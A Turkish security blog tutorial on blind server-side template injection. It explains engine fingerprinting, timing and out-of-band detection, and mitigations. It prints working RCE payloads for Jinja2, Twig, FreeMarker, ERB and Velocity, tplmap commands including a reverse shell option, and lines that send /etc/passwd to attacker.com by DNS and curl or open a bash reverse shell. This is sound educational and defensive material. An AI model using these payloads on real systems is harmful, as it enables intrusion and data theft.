Blind SSTI'dan RCE'ye: Çıktısız Template Engine Sömürüsü | Tağmaç - root@Tagoletta:~#
Contents

Blind SSTI'dan RCE'ye: Çıktısız Template Engine Sömürüsü

Thu May 28 2026 · 5 min read

Category: Security Research

# Attack-Chain# SSTI# Exploit

Giriş: Çıktı Yoksa Açık da Yok mu?

Server-Side Template Injection (SSTI), kullanıcı girdisinin doğrudan bir template engine tarafından işlendiği durumlarda ortaya çıkar. Klasik örnekte uygulama {{7*7}} ifadesini 49 olarak yansıtır ve açık hemen anlaşılır.

Ama gerçek dünya bu kadar kolay değildir.

Blind SSTI: Uygulama template ifadesini execute eder, ancak sonucu response'a yansıtmaz. Log'a yazar, başka bir servise iletir ya da sadece sessizce çalıştırır. Saldırgan yine de tam RCE elde edebilir — doğrudan çıktı olmasa bile.

Template Engine Nedir?

Template engine, statik şablon ile dinamik veriyi birleştirerek çıktı üretir. Web çerçevelerinde yaygın kullanılanlar:

Engine Platform Syntax
Jinja2 Python (Flask, Django) {{ }}, {% %}
Twig PHP (Symfony, Drupal) {{ }}, {% %}
FreeMarker Java (Spring) ${ }, <#>
ERB Ruby (Rails) <%= %>
Velocity Java $var, #directive
Smarty PHP {$var}
Pebble Java {{ }}

Güvenlik açığı, kullanıcı girdisinin template string'e doğrudan dahil edildiğinde oluşur:

# Savunmasız Flask örneği
from flask import Flask, render_template_string, request

@app.route('/greet')
def greet():
    name = request.args.get('name')
    return render_template_string(f"Hello {name}!")  # YANLIŞ
    # Doğrusu: render_template_string("Hello {{ name }}!", name=name)

?name={{7*7}}Hello 49!

Blind SSTI: Sessiz Execute

Blind senaryolarda uygulama şunlardan birini yapar:

  • Template çıktısını log dosyasına yazar, response'a koymaz
  • Bir email template'ini işler, sonucu kullanıcıya göndermez
  • Hata durumunda generic bir mesaj döner, detay vermez
  • Başka bir iç servise template çıktısını iletir

Örnek: E-posta şablonu editörü. Kullanıcı adı alanına {{7*7}} yazıyor, "Şablon kaydedildi" mesajı görüyor. 49 çıktısını hiç görmüyor. Ama server tarafında Jinja2 bu ifadeyi değerlendirdi.

Engine Tespiti: Parmak İzi Teknikleri

Blind durumda bile, farklı engine'lerin aynı payload'a farklı yanıt verdiği ayırt edici farklar kullanılabilir.

Matematiksel tip coercion:

{{7*'7'}}
  • Jinja2: 7777777 (string çarpma)
  • Twig: 49 (numeric coercion)
  • FreeMarker: Hata verir (tip uyumsuzluğu)

Bu ayrım blind durumda da işe yarar: zamanlama, hata kodu, ya da OOB callback'teki yanıt farklı olacaktır.

Polyglot probe seti:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

Her biri farklı engine syntax'ına hitap eder. Birinin tetiklenmesi engine'i daraltır.

Blind Tespit: Zamanlama Tabanlı

Uygulama çıktı vermese de, execution süresi bize bilgi verir.

Jinja2 — sleep payload:

# Subclasses traversal ile sleep çağrısı
{{''.__class__.__mro__[1].__subclasses__()[199]('sleep 5', shell=True, stdout=-1).communicate()}}

__subclasses__() listesinde subprocess.Popen sınıfının index'i Python sürümüne göre değişir. Doğru index bulunduğunda server 5 saniyelik gecikme gösterir.

FreeMarker — sleep payload:

${"freemarker.template.utility.Execute"?new()("sleep 5")}

FreeMarker'ın Execute sınıfı doğrudan sistem komutlarını çalıştırır.

Twig — sleep payload:

{{['sleep 5']|filter('system')}}

Zamanlama ile tespit:

import requests, time

target = "http://target.com/profile/update"
baseline_data = {"bio": "hello world"}

# Baseline
t0 = time.time()
requests.post(target, data=baseline_data, timeout=15)
baseline = time.time() - t0

# Probe
probe_data = {"bio": "{{''.__class__.__mro__[1].__subclasses__()[199]('sleep 5',shell=True,stdout=-1).communicate()}}"}
t0 = time.time()
requests.post(target, data=probe_data, timeout=15)
probe_time = time.time() - t0

if probe_time > baseline + 4:
    print(f"[!] Blind SSTI tespit edildi! Gecikme: {probe_time:.1f}s")

Blind Tespit: Out-of-Band (DNS/HTTP Callback)

Zamanlama tekniği yeterince güvenilir değilse, dışarıya bağlantı açılabilir. Burp Collaborator veya interactsh gibi araçlar bunu yakalar.

Jinja2 — DNS exfil:

{{config.__class__.__init__.__globals__['os'].popen('nslookup YOUR_COLLABORATOR_HOST').read()}}

Jinja2 — HTTP callback:

{{config.__class__.__init__.__globals__['os'].popen('curl http://YOUR_COLLABORATOR_HOST/ssti').read()}}

FreeMarker — DNS exfil:

${"freemarker.template.utility.Execute"?new()("nslookup YOUR_COLLABORATOR_HOST")}

Twig — HTTP callback:

{{['curl http://YOUR_COLLABORATOR_HOST/ssti']|filter('system')}}

Collaborator'da ssti path'ine gelen istek, blind SSTI'nin kanıtıdır.

Engine Tespiti: Hata Tabanlı

Bazı engine'ler geçersiz syntax'e farklı hata kodları veya farklı hata mesajları döner.

# Kasıtlı geçersiz syntax
{{% invalid_syntax %}}
${{ invalid }}
<%= invalid_ruby_expr %>
  • Jinja2: jinja2.exceptions.TemplateSyntaxError — Python stack trace
  • Twig: Twig_Error_Syntax — PHP stack trace
  • FreeMarker: freemarker.core.ParseException — Java stack trace
  • ERB: SyntaxError — Ruby stack trace

Hata mesajı response'da görünmese bile, HTTP durum kodu (500 vs 200) farklı olabilir.

RCE Payload'ları

Engine tespit edildikten sonra, tam RCE payload'ları:

Jinja2 (Python) — Kısa yol:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Jinja2 — Uzun yol (sandbox bypass için):

{{''.__class__.__mro__[1].__subclasses__()}}
# Çıktıdan subprocess.Popen index'ini bul, sonra:
{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}

Jinja2 — config olmadan:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Veya daha doğrudan:

{{['id']|filter('system')}}
{{['id', '']|sort('system')}}

FreeMarker (Java):

${"freemarker.template.utility.Execute"?new()("id")}

Veya freemarker.template.utility.JythonRuntime ile Python çalıştırma:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

ERB (Ruby):

<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>

Velocity (Java):

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##

Otomasyon: tplmap

tplmap, SSTI tespiti ve exploitation için geliştirilmiş bir araçtır. SQLmap'in template injection karşılığı gibi düşünülebilir.

# Kurulum
git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt

# Temel tarama
python tplmap.py -u "http://target.com/greet?name=test"

# POST parametresi
python tplmap.py -u "http://target.com/profile" -d "bio=test"

# Cookie parametresi
python tplmap.py -u "http://target.com/" --cookie "session=abc; template=test"

# OS komut çalıştırma
python tplmap.py -u "http://target.com/greet?name=test" --os-cmd "id"

# Reverse shell
python tplmap.py -u "http://target.com/greet?name=test" --os-shell

tplmap otomatik olarak Jinja2, Twig, FreeMarker, ERB, Velocity, Smarty, Mako ve daha birçok engine'i test eder.

Veri Sızdırma: Blind Durumda

RCE elde edildikten sonra, çıktısız ortamda veri almak için:

DNS üzerinden dosya içeriği:

# /etc/passwd içeriğini base64 ile DNS'e gömme
{{config.__class__.__init__.__globals__['os'].popen(
  'cat /etc/passwd | base64 | tr -d "\\n" | xargs -I{} nslookup {}.attacker.com'
).read()}}

HTTP callback ile dosya gönderme:

{{config.__class__.__init__.__globals__['os'].popen(
  'curl -d @/etc/passwd http://attacker.com/collect'
).read()}}

Reverse shell:

{{config.__class__.__init__.__globals__['os'].popen(
  'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
).read()}}

Önlem

1. Asla kullanıcı girdisini template string'ine doğrudan ekleme:

# YANLIŞ — injection noktası
render_template_string(f"Hello {user_input}!")

# DOĞRU — değişken bağlama
render_template_string("Hello {{ name }}!", name=user_input)

2. Sandbox modunda çalıştır:

# Jinja2 — SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# __class__, __mro__, __subclasses__ erişimi engellenir

3. İzin verilen template değişkenlerini allowlist ile sınırla:

ALLOWED_VARS = {'username', 'email', 'date'}
context = {k: v for k, v in user_context.items() if k in ALLOWED_VARS}

4. Kullanıcının template yazmasına izin verme: Kullanıcılar en fazla {username} gibi basit placeholder formatları kullanabilmeli; tam template syntax'ine erişmemeli.

5. WAF kuralı: {{, ${, <%=, #{ gibi template delimiter'larını giriş noktalarında filtrele.

Sonuç

Blind SSTI, "görünmez" bir güvenlik açığı değildir — yalnızca daha sabırlı bir yaklaşım gerektirir. Zamanlama farkları, DNS callback'leri ve hata kodu analizi ile hem engine hem de execution ortamı tespit edilebilir. Tespit edildikten sonra, tüm sömürü teknikleri standart SSTI ile aynıdır.

Savunma tarafı da aynı şekilde basittir: kullanıcı girdisini template string'ine hiçbir zaman doğrudan ekleme. Bu tek kural, bir RCE zincirini başlamadan keser.


Araştırmacı: James Kettle / PortSwigger, Mahmoud Gamal (ERB), Emilio Pinna (tplmap)
Referans: https://portswigger.net/research/server-side-template-injection
Araç: https://github.com/epinna/tplmap

Sıkça Sorulan Sorular

Blind Server-Side Template Injection nedir?

Kullanıcı girdisinin sunucu tarafı bir template engine tarafından değerlendirildiği ancak sonucun asla geri yansıtılmadığı SSTI türüdür; saldırgan çıktıyı doğrudan göremez ve onaylamak ile sömürmek için yan kanallara (side channel) güvenmek zorundadır.

Blind SSTI nasıl tespit edilir?

Gözlemlenebilir bir yan etki üreten ifadeler enjekte edin — sleep gibi zaman gecikmeleri, out-of-band DNS/HTTP callback'leri veya hata tabanlı farklar — ve hangi payload'ların çalıştığına bakarak engine'i (Jinja2, Twig, Freemarker, ERB) parmak iziyle belirleyin.

SSTI nasıl RCE'ye dönüşür?

Çoğu template engine, çalışma zamanına ulaşan nesneler sunar — Jinja2'de Python nesne hiyerarşisi, Freemarker/Velocity'de Runtime.exec — böylece engine belirlendikten sonra saldırgan işletim sistemi komut çalıştırmaya zincirleyebilir.

SSTI nasıl önlenir?

Kullanıcı girdisini asla template kaynağına koymayın; mantıksız (logic-less) veya sandbox'lı engine'ler kullanın, kullanıcı verisini template kodu olarak değil bağlam değişkeni olarak render edin ve template engine'lerini güncel tutun.